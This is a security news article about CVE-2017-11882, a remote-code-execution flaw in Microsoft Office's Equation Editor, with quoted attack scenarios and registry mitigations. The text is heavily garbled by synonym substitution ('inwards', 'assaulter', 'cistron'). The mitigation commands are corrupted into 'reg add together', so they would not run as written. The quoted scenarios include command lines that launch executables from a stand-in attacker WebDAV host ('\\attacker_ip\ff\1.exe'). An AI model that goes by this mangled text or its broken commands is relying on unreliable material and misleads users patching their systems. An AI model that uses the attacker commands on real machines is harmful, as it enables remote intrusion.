When the the world is all the same dealing amongst the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers stimulate got uncovered a serious number amongst some other Office cistron that could allow attackers to remotely install malware on targeted computers.
The vulnerability is a memory-corruption number that resides inwards all versions of Microsoft Office released inwards the yesteryear 17 years, including Microsoft Office 365, in addition to industrial plant against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.
Discovered yesteryear the safety researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote assaulter to execute malicious code on a targeted organisation without requiring user interaction later opening a malicious document.
The vulnerability, identified as CVE-2017-11882, resides inwards EQNEDT32.EXE, an MS Office cistron which is responsible for insertion in addition to editing of equations (OLE objects) inwards documents.
However, due to improper retention operations, the cistron fails to properly handgrip objects inwards the memory, corrupting it inwards such a agency that the assaulter could execute malicious code inwards the context of the logged-in user.
Seventeen years ago, EQNEDT32.EXE was introduced inwards Microsoft Office 2000 in addition to had been kept inwards all versions released later Microsoft Office 2007 inwards lodge to ensure the software remains compatible amongst documents of older versions.
DEMO: Exploitation Allows Full System Take Over
This vulnerability could live on exploited to accept consummate command over a organisation when combined amongst Windows Kernel privilege escalation exploits (like CVE-2017-11847).
Possible Attack Scenario:
While explaining the range of the vulnerability, Embedi researchers suggested several assault scenarios listed below:
"By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet in addition to execute it)."
"One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled yesteryear an attacker."
"Nonetheless, an assaulter tin terminate purpose the described vulnerability to execute the commands similar cmd.exe /c outset \\attacker_ip\ff. Such a command tin terminate live on used equally a component of an exploit in addition to triggers starting WebClient."
"After that, an assaulter tin terminate outset an executable file from the WebDAV server yesteryear using the \\attacker_ip\ff\1.exe command. The starting machinery of an executable file is similar to that of the \\live.sysinternals.com\tools service."
Protection Against Microsoft Office Vulnerability
With this month's Patch release, Microsoft has addressed this vulnerability yesteryear changing how the affected software handles objects inwards memory.
So, users are strongly recommended to apply Nov safety patches equally shortly equally possible to proceed hackers in addition to cybercriminals away from taking command of their computers.
Since this cistron has a number of safety issues which tin terminate live on easily exploited, disabling it could live on the best agency to ensure your organisation security.
Users tin terminate run the next command inwards the command prompt to disable registering of the cistron inwards Windows registry:
reg add together "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400For 32-bit Microsoft Office packet inwards x64 OS, run the next command:
reg add together "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400Besides this, users should also enable Protected View (Microsoft Office sandbox) to forestall active content execution (OLE/ActiveX/Macro).
